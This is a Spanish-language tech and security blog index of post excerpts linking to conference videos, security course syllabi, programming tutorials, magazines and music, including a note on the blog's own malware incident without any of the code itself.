¡Ojo! estos no son tutoriales sobre programación, sino una pequeña introducción a la sintaxis del lenguaje en sí explicada son su propia sintaxis, valga la redundancia.

Guía sobre hacking Ruby

Si el título te ha atraído hasta aquí pensando en que ibas a encontrar información sobre cómo romper cosas con Ruby, metasploit o algo por el estilo, lo siento, aunque me alegro que hayas llegado hasta aquí :)

Este entrada trata sobre un proyecto llamado Ruby Hacking Guide, que no es más, y nada menos, que una traducción (al inglés) del texto original escrito en japonés.

Esta guía trata de explicar como funciona internamente el intérprete de Ruby original (escrito en C). Con lo cual es un texto muy técnico y que requiere amplios conocimientos del propio Ruby así como de C. Este proyecto se empezó hace ya algún tiempo, pero se quedó medio abandonado, pero ahora parece ser que está recobrando vida.

Más de 130 comandos esenciales de Vim

Vim es un editor, realmente es EL editor de facto los sistemas *nix (bueno realmente no es Vim sino Vi, su hermano pequeño), que es amado por la mayoría de los que programan en esos sistemas.

Desde hace mucho y gracias a San IGNUcius, existe una batalla entre Vim y Emacs, otro de los editores fuertes de los sistemas GNU en este caso.

La potencia de Vim es incuestionable, pero la curva de aprendizaje es bastante alta y como no lo uses a diario, por lo menos a mi, se me hace muy complicado, así que lo que me sé son cuatro comandos básicos y listo, cosa que recomiendo a todo el que tenga que tratar con terminal remoto a un sistema *nix, porque como decía es el editor por defecto.

Domingo por la mañana, The Analog Affair, Violent …

Grooveshark y Spotify.

The Analog Affair.

Er docu der finde: La armonía del universo

¿Realmante te protege tu contraseña?

Image: Flickr, Jennuine Captures

Fuente

Tutorial de iniciación a la programación de juegos …

El post original se titula “Beginning game programming for teens with python” y ha sido escrito por Julian Meyer, un desarrollador Python de 13 años (aquí tienes su Google+ y Twitter). 

Tan claro como sólo un niño de 13 años puede escribir, te explica desde como instalar Python, instalar algunos recursos para python orientados a juegos y finalmente como programar un sencillo juego.

Y tú que tienes ya casi cuarenta ¿sabes programar en Python? ;)

Descarga de forma gratuita algunas guías rápidas …

Hay muchas “cheat sheet” por Internet sobre PowerShell, pero estas en concreto son directamente ofrecidas por Microsoft.

La primera nos muestra un listado de los comandos más utilizados (en formato .doc).

El otro enlace permite la descarga de seis ficheros en formato PDF con trucos, atajos y operaciones comunes en PowerShell 3.0, PowerShell WorkFlow, PowerShell ISE, Windows PowerShell Web Access, Server Manager for Windows Server 2012, WinRM, WMI, y WS-Man.

Vídeos de la Sigint13

Sigint es una conferencia de 3 días celebrada anualmente dónde se tratan aspectos técnicos y sociales de la actual era digital, organizada por el Chaos Computer Club.

Este año se celebró entre los días 5 y 7 de julio. Aquí tenéis la lista de los vídeos de dicha conferencia:

• Automatisierte Videoüberwachung
• Parabolic Plane Flights – Research..
• Cryptocat: The Social and Technical ..
• Ruby is Magic!
• Car immobilizer hacking
• UI Redressing Attacks on Android Dev..
• Programming FPGAs with PSHDL
• Internet-Meme: Geschichte und Forsch..
• Why we fight (each other)
• The step into Cyborgism
• SDR, GSM/OpenBTS
• Der Kampf um die Netzneutralität
• E-Mobility as a Privacy Game Changer..
• Pressfreedom, Surveillance and Inte..
• Independents unite! Inside the freel..
• hpfriends: real-time social data-sha..
• DocPatch: Entdecke unsere Verfassung..
• Transparenzgesetz - Quo Vadis?
• Gute Arbeit
• C.R.O.P. – Combined Regenerative O..
• Besser leben für Geeks
• Nearly Everything That Matters is a ..
• Adblocker an, Schranke runter, Paywa..
• „Information wants to be free" ver..
• Offshoreleaks - the how and why of a..
• Funkzellenabfrage
• Let's tear down these walls
• The Politics of Surveillance: Unders..
• Home Network Horror Stories
• EU Data Protection Reform
• The DRM Of Pacman
• Making music with a C compiler
• VM32: A CPU simulator for demonstrat..
• I/O Capture Treiber Framework
• Game of Drones I + II
• Cuckoo Sandbox - malware beware
• Benutze Krake mit Gerät
• It's my party and I crypt if I want ..
• Embedded device security nightmares..
• Analog Computing

Las violaciones de datos más grandes del mundo

http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/static/

Podéis un versión interactiva en la fuente original

Vídeos de la JSConf US 2013

JSConf es una conferencia que se celebra por distintos lugares del mundo y que reúne a programadores y entusiastas del lenguaje de programación Javascript.

La edición celebrada en los EEUU este año tuvo lugar en Amelia Island, FL entre el 29 y 31 de mayo. Aquí tenéis la lista de los vídeos de las presentaciones:

• Remy Sharp: Lessons from the experimental edge of technology
• Angelina Fabbro: JavaScript Masterclass
• Angus Croll: JavaScript is Literature is JavaScript
• Andrew Dupont: Learning New Words
• Peter Higgins: #dadt (Dojo already did that)
• Ray Daly: JavaScript Journalism
• Jed Schmidt: Mass Hysteria: Clients and Servers, Living Together
• Raquel Vèlez: AI.js: Robots with Brains!
• Rebecca Murphey: Optimizing for Developer Delight
• Tom Occhino and Jordan Walke: JS Apps at Facebook
• Erich Gamma: Massive.js
• Steven Wittens: Making WebGL Dance
• Welcome from Chris and Laura

Análisis de código binario y sistemas de seguridad

Cada vez son más las universidades que están publicando el material de sus clases. Ya publicamos la semana pasada sobre un Curso sobre seguridad ofensiva por la Universidad del Estado de Florida. Ahora la Universidad de Texas en Dallas es la que ha publicado el material de su curso titulado System Security and Binary Code Analysis.

En éste se cubren los siguientes temas:

• Memory exploits (buffer overflows, format strings, integer overflows, etc. Creación de shellcodes usando técnicas ROP y HeapSpray).
• OS Kernel Internals (comportamiento de un programa cuando es ejecutado por el sistema operativo. Conceptos de la memoria virtual in traducción a memoria física, etc. Cubren el núcleo de Linux y Windows).
• Linker and Loader Internals (enlazado dinámico de un programa y como aprovecharse del mismo).
• Kernel-level Defense (mecanismos de defensa ASR, DEP y NX-bits).
• User-level Defense.
• Binary code reverse engineering (análisis dinámico y estático, flujo de control, malware, etc).

El programa, cubierto por el profesor, es el siguiente:

Course Overview	Instructor	[pdf] [handout]
System and Software Security Foundations: Understanding Binary Code Analysis
Binary Code/Data Representation	Instructor	[pdf] [handout]
Program Representation	Instructor	[pdf] [handout]
Dynamic Binary Instrumentation (PIN, Valgrind, Qemu)	Instructor	[pdf] [handout]
Principles of Program Analysis	Instructor	[pdf] [handout]
Guest Lecture: Recent Cyber Attacks and Implications	Jon Shapiro	[pdf]
Guest Lecture: Web Vulnerability (SQL injection, Cross-site scripting) Analysis	Duong Ngo	N/A
Design and Implementation of a Data Flow Analysis (taint analysis)	Instructor	[pdf] [handout]
System and Software Security Foundations: Understanding the OS Kernel
Understanding the OS Architecture and Linux History	Instructor	[pdf] [handout]
An Overview of Linux and Windows Kernel	Instructor	[pdf] [handout]
Process Management	Instructor	[pdf] [handout]
Virtual Memory (I)	Instructor	[pdf] [handout]
Virtual Memory (II)	Instructor	[pdf] [handout]
File System (I)	Instructor	[pdf] [handout]
File System (II)	Instructor	[pdf] [handout]
System and Software Security Foundations: Beyond OS Kernel
Revealing Internals of Executable File Format	Instructor	[pdf] [handout]
Revealing Internals of Compiler (gcc)	Instructor	[pdf] [handout]
Revealing Internals of Linker (ld)	Instructor	[pdf] [handout]
Revealing Internals of Loader (ld-linux.so)	Instructor	[pdf] [handout]
System and Software Security: Techniques, Tools, and Applications
Library Interposition	Instructor	[pdf] [handout]
Virtual Machine Monitor (QEMU/VirtualBox/Xen/KVM)	Instructor	[pdf] [handout]
Symbolic Execution and Whitebox Fuzzing	Instructor	[pdf] [handout]
Exploits: Buffer Overflows, Heap Overflow, Integer Overflow	Instructor	[pdf] [handout]
Robust Exploits: ROP shellcode, Heap Spray	Instructor	[pdf] [handout]
Fighting for Malware: Unpack, Disassemble, Decompile	Instructor	[pdf] [handout]
Binary Code Reusing	Instructor	[pdf] [handout]

Al final del curso, los alumnos tenían que hacer una presentación de 15 minutos basadas a uno de los documentos requeridos ser leídos por estos.

También podemos acceder a las presentaciones de los alumnos así como a la lista de dichos documentos (muchos de ellos bastante conocidos):

Banda sonora oficial de la DEF CON 21

Este año Gravitas Recordings ha sido la encargada de ponerle música a la DEF CON 21. El álbum lo podemos escuchar online, descargar y/o comprar (audio con mayor calidad). El precio del álbum lo pones tú y es una donación que va dirigida de forma íntegra a la Electronic Frontier Foundation, así que anímate.

El álbum se compone de 20 pistas:

1. BT - The Gathering Darkness 13:12
2. Dual Core - Fear and Chaos (Dale Chase Remix) 04:35
3. ytcracker - Bitcoin Baron 03:29
4. BLEO - The Carterfone Decision 01:47
5. Swinging Rabbits - Monster (Gunslinger vs Blare Remix) 04:14
6. Psymbionic & Great Scott - Computronium 04:39
7. Gramatik - Talkbox Intended 06:10
8. PANTyRAiD - Jokes from the Backseat 04:38
9. DJ RoboRob - The Great Divide ft. Dual Core 04:11
10. BREDE - Crush On 04:04
11. Karton - Chase It High (Left/Right Remix) 06:00
12. Royal Sapien presents No Context - For the Breakers (DEF CON Edit) 04:23
13. Son of the Electric Ghost - Beat It Kids 05:23
14. Nick Stoynoff presents NOFF - Aryt 03:20
15. A.E. Burdick - Room 101 06:35
16. Faderhead - Free 03:42
17. MDMM - Octopus (Redux) 07:25
18. Vigilante - It's Our Time (Electro Version) 03:00
19. BlakOPz - BlakOUt 05:59
20. Bud Melvin - Trolling is a Art 02:48

UNIX/Linux Wargames

En términos de informática y más espicíficamente de la seguridad, un wargame es un juego por niveles en el que tienes que explotar cierta vulnerabilidad para ganar acceso al sistema usando técnicas de explotación, ingeniería inversa, inyección de código, etc. Aunque hoy en día, quizás se use más el término CTF o Capture The Flag de forma indiferente.

UNIX/Linux Wargames, es uno de estos juegos en los que tienes que ir superando niveles o retos, pero con la peculiaridad que no está orientado a la seguridad o explotación de vulnerabilidades, sino, a la familiarización con la línea de comandos de UNIX/Linux (supongo que podríamos incluir los Mac OS también).

Domingo por la mañana, A Home. A Heart. Whatever. …

A home. A Heart. Whatever

The MagPi número 15

Ya tenemos a disposición el número 15 de la revista dedicada a Raspberry Pi, The MagPi, correspondiente a este mes de agosto.

El contenido de este mes es el siguiente:

• USB ARDUINO LINK
• COMMAND LINE ARDUINO PROGRAMMING
• THE RASPBERRY PI CAMERA MODULE
• A COCKTAIL OF EXPANSION BOARDS
• THE RASCLOCK
• PI MATRIX
• MAME - MULTIPLE ARCADE MACHINE EMULATOR
• <_XML />
• MY OS: BUILD A CUSTOMISED OPERATING SYSTEM
• ASSEMBLY PROGRAMMING WITH RISC OS
• THIS MONTH'S EVENTS GUIDE
• BOOK REVIEW
• THE PYTHON PIT
• FEEDBACK

Puedes descargar el PDF desde aquí o leerlo online.

Documental oficial de la DEF CON ya disponible

Éste sería el documental perfecto para nuestra sección Er docu der finde, pero ahí sólo ponemos documentales en español o al menos subtitulados y éste ahora mismo sólo está en inglés.

El documental de la DEF CON fue filmado durante el verano del año 2012 con motivo del 20 aniversario de esta archiconocida conferencia sobre seguridad. La producción del mismo a estado a cargo de Jason Scott, famoso por sus magníficos documentales como el de la historia de las BBSs y creador del sitio textfiles.com. El encargo se lo hizo el propio Jeff Moss, fundador de no sólo DEF CON, sino también de BlackHat.

Er docu der finde: Investigaciones …

Presentaciones de BlackHat USA 2013

Ya están disponibles las diapositivas de las presentaciones de la BlackHat USA de esta año, celebrada en el Caesars Palace en Las Vegas entre el 27 de julio y el 1 de agosto.

En esta edición parece que la audiencia ha estado dividida por toda la polémica relacionada con las filtraciones de la NSA y su programa Prism. En especial con la presentación de apertura, de la cual también puedes acceder al vídeo, dada por el General Keith B. Alexander, director de la agencia de seguridad nacional (NSA).

Retos BlueHat de Microsoft

Inspirado en los retos de cifrado de Matasano, Microsoft ha creado una serie de retos basados en ingeniería inversa, descubrimiento de vulnerabilidades y trucos de manipulación del navegador web a nivel de diseño. Éste último la verdad que no tengo muy claro de que va.

Los retos están abierto a cualquiera que lo desee. Para participar tienes mandar un email a [email protected] y en el mensaje debes incluir [reverse], [vulns] o [web], dependiendo de a los retos que te quieres suscribir. Si quieres participar en los 3 o en 2 de ellos, debes mandar 3 o 2 emails respectivamente, uno por cada tipo de reto.

Si eres de los que se llevan el móvil al cuarto de …

Source: PartSelect.com

Estructura interna del Portable Executable

Hace algún tiempo publicamos una entrada con un magnífico diagrama de la estructura interna de los ficheros ejecutables de Windows conocidos como PE o Portable Executable.

Pues este diagrama a sufrido varios cambios a lo largo del tiempo y hay una nueva versión disponible (PE102):

Su autor Ange Albertini (corkami), sitio con muy buena información por cierto, ya está trabajando en una versión de ficheros ELF (Executable and Linkable Format) normalmente el formato ejecutable por defecto en distribuciones *nix:

Curso de seguridad ofensiva

W. Owen Redwood profesor de la Universidad del Estado de Florida ha publicado el material de la clase que imparte junto a Prof. Xiuwen Liu sobre seguridad ofensiva.

La clase está programada para ser impartida en 15 semanas de la siguiente forma:

• Week 1 (Intro / Overview)
  • Lecture 1: Intro, Ethics, & Overview
  • Lecture 2: Linux Overview
• Week 2 (Overview / Code Auditing)
  • Lecture 3: Windows Overview
  • Lecture 4: Rootkits; Code Auditing
• Week 3 (Reverse Engineering Workshop Week)
  • Lecture 5: x86 Reverse engineering
  • Lecture 6: x86 Reverse engineering 2
• Week 4 (Exploit Development)
  • Lecture 7: Fuzzing and Exploit Development 101
  • Lecture 8: Shellcode and Exploit Development 102
• Week 5 (Exploit Dev / Networking)
  • Lecture 9: Exploit Development 103: SEH Exploitation, Heap Sprays, and Executable Security Mechanisms
  • Lecture 10: Networking 101: Data Layer, Link Layer, and IP layer
• Week 6 (Networking / Web Application Hacking)
  • Lecture 11: Networking 102: TCP layer, Important Protocols, Services, Portscanning, ARP
  • Lecture 12: Web application Hacking 101
• Week 7 (Web Application Hacking)
  • Lecture 13: Web Application Hacking 102: Big picture of topics so far, SQLi, XSS
  • Lecture 14: Web Application Hacking 103: SSL attacks, advanced techniques
• Week 8 (Web Application Hacking / Exploit dev)
  • Lecture 15: Web Application Hacking 104 & Exploit Development 104
  • Lecture 16: Midterm review & Exploit Development 105 (ROP)
• Week 9: (Special Topics)
  • Lecture 17: The Modern History of Cyber Warfare
  • Lecture 18: Social Engineering
• Week 10 (Metaspl0it):
  • Lecture 19: Metasploit
• Week 11 (Post Exploitation and Forensics):
  • Lecture 20: Meterpreter and Post Exploitation
  • Lecture 21: Volatility and Incident Response:
• Week 12 (Physical Security):
  • Lecture 22: Physical Security Workshop: Lockpicking, USB mischief, and BacNET/SCADA system security
• Week 13 (Malware / Student Presentations):
  • Lecture 23: Advanced Malware Techniques
• Week 14-15 (Student Presentations)

Algunas de las sesiones no contienen vídeo según parece por problemas técnicos, pero los recursos y las diapositivas están disponibles a excepción de la sesión sobre malware.

También puedes acceder a los trabajos o deberes asignados.

Aprende Ruby con Ruby Warrior

Magnífica idea la de Ruby Warrior. Un juego web diseñado para aprender el lenguaje de programación Ruby e inteligencia artificial. El objetivo es llevar a nuestro guerrero hasta los más alto de la torre para recuperar el rubí y hacer el máximo de puntos por el camino.

El juego es una implementación web de la versión original basada en la línea de comandos.

A jugar se dijo! :)

Cómo los ladrones usan las redes sociales para …

Fuente

Domingo por la maña.... tarde, City Calm Down, …

GrooveShark y Spotify.

City Calm Down

Vídeos de la Aspen Security Forum 2013

Aquí os dejo la lista de vídeos de la Aspen Security Forum de este año. Hay vídeos muy interesante, especialmente con todo lo que se está cociendo con las filtraciones de la NSA.

• Off We Go into the Wild Blue Yonder: The Air Force’s Role in Countering Terrorism and Advancing America’s Interests in the World
• Doing More with Less—Simply an Oxymoron or Also an Imperative: Refashioning Today's Pentagon to Fight the Wars of the Future
• Mission Accomplished? Has the Intelligence Community Connected All the Dots?
• Counterterrorism, National Security, and the Rule of Law
• Through a Glass Darkly: What Security Threats Does the Future Hold and What Can We Do Now to Protect Ourselves from Them?
• At the Center of the Action: The National Counterterrorism Center and its Role in Securing the Homeland
• MANHUNT: The Search for Osama Bin Laden
• Clear and Present Danger: Cyber-Crime; Cyber-Espionage; Cyber-Terror; and Cyber-War
• The Threat Matrix: How is the Terrorism Threat Evolving in the Post-Bin Laden Era?
• International Perspectives on Terrorism and Counterterrorism
• TSA: Rethinking Aviation Security in the Post-Bin Laden Era
• Putting Out Fires Before They Spread: The US's Role in Preventing Conflict
• Industry’s Role in Cybersecurity
• Iraq and AfPak: Now and Then
• AFRICOM: The Next Afghanistan?
• Counterterrorism and the Media
• Unrest in the Arab World and its Implications for Our Security
• Law Enforcement and National Security
• The Military and Intelligence: Out of the Shadows
• Looking East: The Pacific Pivot
• Iran: Crossing the “Red Line?”
• CENTCOM Review: Turmoil in the Mideast and Southwest Asia and Its Implications for American Security

Fuente

Análisis rápido de los ficheros maliciosos …

Como prometía ayer en la entrada donde os contaba la incidencia en el blog, os comento en esta entrada el pequeño y rápido análisis de unos de los ficheros: bergpfh.php. El otro fichero es básicamente igual que éste, pero con un par de pequeños cambios, así que sólo hablaremos del primero.

Como os comentaba, los ficheros están ofuscados, aquí podéis ver el código original:

Para de-ofuscar (o llámalo como quieras) el fichero eché de mano de un poco de Ruby. Para los curiosos, aquí tenéis el código del script tal y como lo dejé, o sea, hecho una porquería:

Incidente en Cyberhades

El pasado día 22 por la noche, hora costa este norteamericana, recibimos un correo de uno de los lectores (gracias Diego) del advirtiéndonos que el blog (cyberhades) aparecía, según Google, clasificado como un sitio web potencialmente peligroso porque podría contener software malicioso, también conocido como malware. Efectivamente cuando accedí al blog esto es lo que me aparecía:

Captura de pantalla con Firefox

Si accedía con Google Chrome encontraba con la siguiente pantalla:

Lo intenté desde IE7 desde un Windows XP SP3 que tengo virtualizado, pero este no me daba ningún tipo de aviso.

Er docu der finde: La CIA/KGB y el espionaje …

Lectura de RFCs desde la línea de comandos

Los RFC (Request For Comments) o petición de comentarios, son unos documentos sobre internet y los distintos protocolos que la conectan. Es la “documentación oficial” de los protocolos estándar en los que está construida la red de redes.

Si alguna vez has querido o quieres crear tu propio servidor FTP, SMTP, POP, DNS, etc. Los RFCs son tu punto principal de referencia, ya que para que tu servidor cumpla con los estándares definidos en dichos documentos.

Domingo por la mañana, Get Lost, Mark McGuire

Mark McGuire 

Spotify y SoundCloud.

¿Hay alguien escuchando?

Source: SecurityDegreeHub.com

Er docu der finde: Los experimentos secretos de la …

https://www.youtube.com/watch?v=hRz9x7IV3p4&feature=youtube_gdata_player

Una reflexión sobre el sistema del "Hombre Muerto" …

Fuente de la imagen, aquí

El sistema de seguridad "Hombre Muerto" ó también llamado "Interruptor del hombre muerto" se implementó por primera vez en ferrocarriles. Este dispositivo no es más que un interruptor que una persona tiene que activar cada cierto tiempo simplemente para alertar al sistema que está "vivo" y no ha sufrido algún desmayo, o incluso que esté muerto (lo que pondría en peligro la integridad de los pasajeros del tren). En caso de no activarlo, el sistema se detiene de inmediato.

The Fifth State, la película sobre Wikileaks

Aquí os dejo el trailer (está en inglés) de la película The Fifth State, basada en hechos reales sobre la filtración de documentos clasificados por parte de Wikileaks. Se espera que llegue a los cines el 28 de octubre de este mismo año en los EEUU.

¿Y tú de qué vas?, Rodrigo Yepes

1) ¿Quién eres y a qué te dedicas?

Soy amigo de la infancia de Alejandro Ramos, no tengo nada que ver con el mundo de la seguridad informática más allá de esta amistad y de una curiosidad creciente por el mismo. Me gustan el buen cine, las series de televisión y los libros, en especial la novela negra.

2) ¿Qué hardware utilizas en el trabajo y en casa? 

Web for pentester II, curso sobre penetración en …

Los chicos de PentesterLab.com han vuelto con un nuevo curso sobre penetración en aplicaciones web: Web for pentester II. En éste tocan la base de datos MongoDB, una de esas bases de datos denominadas NoSQL y que están tan de moda actualmente. También tratan con problemas de autenticación, más inyección de SQL, Captchas, autorización, aleatoriedad y asignaciones masivas.

Como de costumbre, el curso está basado en una máquina virtual (32 o 64 bits - mirror a la iso de 64 bits) y un PDF que sirve de guía.

Linux for Workgroups

De todos es sabido que cuando a Linus Torvalds, creador de Linux y principal mantenedor del mismo, le tocan la moral, éste no se corta un pelo y se pone a despotricar a quien haga falta: desarrolladores, proyectos de código abierto, fabricantes, etc.

Pero Linus también tiene su punto de humor y lo ha demostrado con la  nueva versión del núcleo de Linux 3.11. El nombre en clave de esta versión pasa a ser de Unicycling Gorilla a Linux for Workgroups, haciendo clara referencia a la famosa versión de Windows for Workgroups 3.11 que se lanzó en 1993. No sólo ha cambiado el nombre, sino también el logo, añadiendo al pingüino Tux una banderita con el logotipo de Windows de la época.

The Linux command line, PDF gratuito

The Linux command line es un libro totalmente orientado a enseñarnos a usar la línea de comandos en sistemas Linux. Éste recoge el contenido de linuxcommand.org, pero en mayor detalle. Toca desde temas básicos, hasta temas más avanzados como la programación de scripts.

El libro está publicado por la prestigiosa editorial no startch press, desde donde puedes comprarlo, pero el autor ha liberado una versión totalmente gratuita en formato PDF con licencia Creative Commons.

Domingo por la mañana, Sigur Rós, Rafstraumur, …

httpv://youtu.be/obQLXnX3QOo

Espectacular el nuevo disco de Sigur Rós (uno de mis grupos favoritos de todos los tiempos) llamado Kveikur.

Te dejamos esta canción llamada Rafstraumur, que según Google Translator ;)  significa "corriente eléctrica".

No hay mejor música para levantarte un domingo por la mañana que Sigur Rós ...

GrooveShark y Spotify.

Er docu der finde: Secretos desclasificados, el …

Voltron + tmux == GDB Sexy

Cuando hablamos de desensamblar un binario en sistemas Linux, BSD o Macs, el depurador de facto es GDB o GNU Debugger. Sí, tenemos otras opciones como IDA Pro o Hopper, pero ambas son comerciales, la primera te cuesta un riñón y a menos que te ganes la vida con ello no la veo muy rentable y la segunda, aunque apunta alto y es barata, todavía está un poco inmadura.

Si usas GDB de vez en cuando, ya conocerás el famoso fichero de configuración (.gdbinit) de reverse.put.as, que hace la interfaz del depurador mucha más amena, pero se echa de menos una interfaz un poco más completa, algo así como Ollygdb o ImmunityDebugger, algo que nos permita ver el código que estamos ejecutando, la pila, los registros, memoria, etc. Todo en a la vez en la misma pantalla.

Introducción a la programación en Python sobre …

Este tutorial no es una introducción ni al fundamentos de criptografía, ni criptoanálisis, ni a la programación en Python. Es un tutorial que te ayuda a escribir programas en Python que te ayuden con la solución a problemas de criptoanálisis.

El tutorial espera que sepas, al menos programar, si ya conoces Python mejor, y que entiendas y seas capaz al menos de resolver un problema de sustitución.

Aprendiendo PowerShell con ejemplos

Excelente tutorial lleno de ejemplos, visual y muy bien explicado de la web HowToGeek.

Perfecto si quieres empezar a trastear un poco con esta estupenda y poderosa herramienta de una forma amena y directa al grano.

Estos son los tutoriales:

• Learn How to Automate Windows with PowerShell
• Learning to Use Cmdlets in PowerShell
• Learning How to Use Objects in PowerShell
• Learning Formatting, Filtering and Comparing in PowerShell
• Learn to Use Remoting in PowerShell
• Using PowerShell to Get Computer Information
• Working with Collections in PowerShell
• Learn How to Use Jobs in PowerShell
• Learn How to Extend PowerShell
• Learning PowerShell Variables, Input and Output

Perfectos para este Verano ;)

Camuflando un golpe en el coche al estilo friki

Visto en GeeksAreSexy

Domingo por la mañana, The Aikiu, The Red Kiss

Spotify y Grooveshark.

The Aikiu

Animaciones espectaculares usando HTML5 y CSS3

Animación F1, click para verla

HTML5 y CSS3

Hombre corriendo en 3D

3D Bricks

Cubes

Cara humana en HTML5

Agua

y muchas más que puedes ver en este enlace.

Realmente increíbles.

Er docu der finde: El libro secreto del presidente

Prueba tu aplicación web con distintas versiones …

Los que hayamos creado alguna vez una aplicación web, sabemos el infierno en el que nos metemos cuando llega la hora de hacer que dicha aplicación se vea y funcione de la misma forma o casi en todos los navegadores, al menos en los más usados. Entre estos, sin duda alguna encuentra Internet Explorer. De hecho si te dedicas al desarrollo de aplicaciones web empresariales, quizás sea Internet Explorer el único navegador al que se le de soporte dentro de la organización. O simplemente si tu plataforma de desarrollo es alguna variante de *nix, Internet Explorer no está disponible. Por lo que tenemos que tirar de virtualización, Wine, o algo por el estilo.

Unos libritos técnicos para el veranito

¿De vacaciones? ¿Sin nada que leer? [spam]Pues echa un vistazo a 0xWord[/spam]. Si ya te los has leído todos, aquí tienes una buena colección de libros gratuitos técnicos con los que te puedes entretener un rato:

• Beej's Guide to Network Programming (PDF)
• Free Language Agnostic Programming Books
• Unix Text Processing
• Qi ][
• Simply Logical
• From Classical to Quantum Shannon Theory
• Entropy and Information Theory (PDF)
• Computers and Thought: A practical Introduction to Artificial Intelligence
• Modern GPU
• Single page apps in depth
• Is Parallel Programming Hard, And, If So, What Can You Do About It? (PDF)
• Algorithm Information Theory (PDF)
• Java Enterprise Performance
• Probabilistic and Statistical Modeling in Computer Science (PDF)
• Non-Uniform Random Variate Generation
• C# Yellow Book
• Foundations of Computer Science
• The HoTT book

Happy reading!!

Vídeos de la Hack in Paris 2013

Ya publicamos aquí una entrada con las presentaciones de la Hack in Paris 2013 y ahora os dejamos a continuación la lista de los vídeos:

• Remoting android applications for fun and profit
• Windows Phone 8 application security
• The Security of MDM (Mobile Device Management) systems
• I'm in your browser, pwning your stuff - Attacking Google Chrome extensions
• Origin policy enforcement in modern browsers
• Web Applications Forensics
• DBI Frameworks applied to computer security : Uses and comparative
• The Realex payments application security story, narrated by Security Ninja
• BYOD - The Privacy and Compliance Risks from Bringing Your Own Mobile Device to Work
• The Control of technology by nation state : Past, Present and Future - The Case of Cryptology and information security
• Analysis of a Windows Kernel vulnerability : from espionage to criminal use
• Burp Pro : Real-life tips and tricks
• Are we getting better? - Hacking Todays Technology
• Malware vs Virtualization : The endless cat and mouse play
• Next generation rootkits for ARM based devices

Introducción rápida a la ingeniería inversa

Quick introduction to reverse engineering for beginners es un documento en PDF que da un repaso a los conceptos básicos de la ingeniería inversa. Este documento o libro ya lo publicamos hace un tiempo. Éste acaba de ser actualizado con contenido nuevo: como se representan los objectos de C++ en ensamblador x86 y también podemos encontrar algunos ejemplos relacionados con la base de datos de Oracle.

Puedes descargar el PDF en inglés desde aquí y si lo prefieres en ruso, desde este enlace.

The MagPi número 9 en español

Como sabéis están traduciendo la revista electrónica The MagPi dedicada al magnífico Raspberry Pi, al español. El número 9 es el tercer número que traducen a nuestra lengua.

El índice de este número es:

• Entrevista con Limor Fried de Adafruit
• WebIOPi - El framework REST para la Raspberry Pi
• Respalda tu Raspberry Pi
• Gana más y más accesorios para tu Raspberry Pi
• La placa de interfaz I/O Quick2Wire para la Raspberry Pi
• Una introducción a RISCOS
• Instalando y configurando Arch Linux
• Una introducción a la programación en Vala
• Los eventos Raspberry Pi de febrero
• The C Cave – estructuras, archivos de cabecera y análisis de datos
• Scratch Patch - controlando la interfaz GPIO desde Scratch
• The Python Pit - maneja tu Raspberry Pi con un teléfono móvil.
• Preguntas y comentarios

Puedes descargar el PDF desde aquí.

26 cosas a tener en cuenta antes de crear un sitio …

Fuente

Librería OWASP

El proyecto abierto sobre seguridad en aplicaciones web (OWASP), además de toda la magnífica información que podemos encontrar en su web, también tienen una tienda virtual en Lulu donde ofrecen libros sobre varios de sus proyectos.

Dichos libros, tienes la opción de bajártelo de forma totalmente gratuita o también puedes comprarlos de impresos a un precio bastante económico, una magnífica idea para apoyar a este proyecto.

The MagPi 14

Ya se encuentra disponible el número 14 perteneciente al mes de julio de la revista electrónica The MagPi, dedicada al 100% al genial Raspberrt Pi

En este número tenemos:

• RASPBERRY PI CAMERA MODULE
• PYTHON CONTROL: ROBOTIC ARM
• MUNTS I/O EXPANSION BOARD
• BUILD A GUZUNTY PI
• PI MATRIX PART 2
• THIS MONTH'S EVENTS GUIDE
• RASPBERRY PI BOOT CAMPS
• CHARM PART 3
• FRESHLY ROASTED
• THE PYTHON PIT
• COMPETITION
• FEEDBACK

Puedes descargar el PDF o leerlo desde aquí.

Introducción a Scapy

Según la web de Scapy, éste es un programa interactivo de manipulación de paquetes de red. Es capaz de capturar y manipular paquetes de un amplio número de protocolos de red. Con Scapy es muy fácil escanear, monitorizar rutas (tracerouting), tests unitarios, ataques, identificación de redes, etc.

Scapy está escrito en python y lo puedes usar como herramienta totalmente independiente a través de su shell interactiva, así como en forma de librería integrada en tu programa.

Presentaciones de la RECON 2013

Ya podemos descargarnos algunas de las presentaciones de la RECON de este año. RECON es una conferencia sobre seguridad enfocada al campo de la ingeniería inversa y la explotación, y fue celebrada del 21 al 23 de junio en Montreal, Canadá.

Las list de las diapositivas hasta ahora disponibles es la siguiente:

• Aleksandr Matrosov and Eugene Rodionov-Reconstructing-Gapz Position-Independent Code Analysis Problem
• Bacura-Just keep trying ! Unorthodox ways to hack an old-school hardware
• Dmitry Nedospasov and Thorsten Schroder-Keep your tentacles off my bus%2c introducing Die Datenkrake[big]
• Dmitry Nedospasov and Thorsten Schroder-Keep your tentacles off my bus%2c introducing Die Datenkrake[small]
• Elias Bachaalany-Inside EMET 4
• Gabriel Tremblay-Reversing P25 Radios
• Josh Thomas-Hiding @ Depth - Exploring %26 Subvertion NAND Flash memory
• Joshua J. Drake-Reversing and Auditing Android%27s Proprietary Bits-public
• Natalie Silvanovich-Many More Tamagotchis Were Harmed in the Making of this Presentation
• Natalie Silvanovich-Many More Tamagotchis Were Harmed in the Making of this Presentation
• Olivier Thomas-Hardware reverse engineering tools
• Richard Johnson-Taint Nobody Got Time for Crash Analysis - slides
• recon2013-Jurriaan Bremer-Haow do I sandbox

Domingo por la mañana, Buke & Gase, Houdini Crush

Nada, sólo en Spotify.

Buke & Gase

Ordenador de 8 bits con 16 núcleos, DUO Mega

Este es el sueño para todos los que adoramos los ordenadores retro. Un ordenador de varios núcleos de 8 bits para que cualquiera pueda hacerlo en casa.

DUO Mega es un ordenador multicore (16) de 8 bits, que utiliza microcontroladores ATMega 328 (realmente baratos en el mercado, no más de 2 dólares y medio la unidad).

Humans Are Awesome

GoPro

 

Er docu der finde: La energía desbordada de Nikola …

Creando un algoritmo genético para principiantes …

Imagen vista aquí

Los algoritmos genéticos son muy utilizados en computación para resolver todo tipo de problemas complejos. Funcionan imitando la forma de resolver problemas en el mundo real usando como base la evolución. Esto los convierte en algoritmos muy potentes para resolver problemas muy complejos pero basándose en soluciones simples.

En este enlace tienes un tutorial para principiantes.

Otros enlaces de interés sobre este tema:

Tutorial de Obitko

Ai-Junkie Tutorial 

PDF en español

Emulador OpenRisc 1000 en Javascript ejecutando …

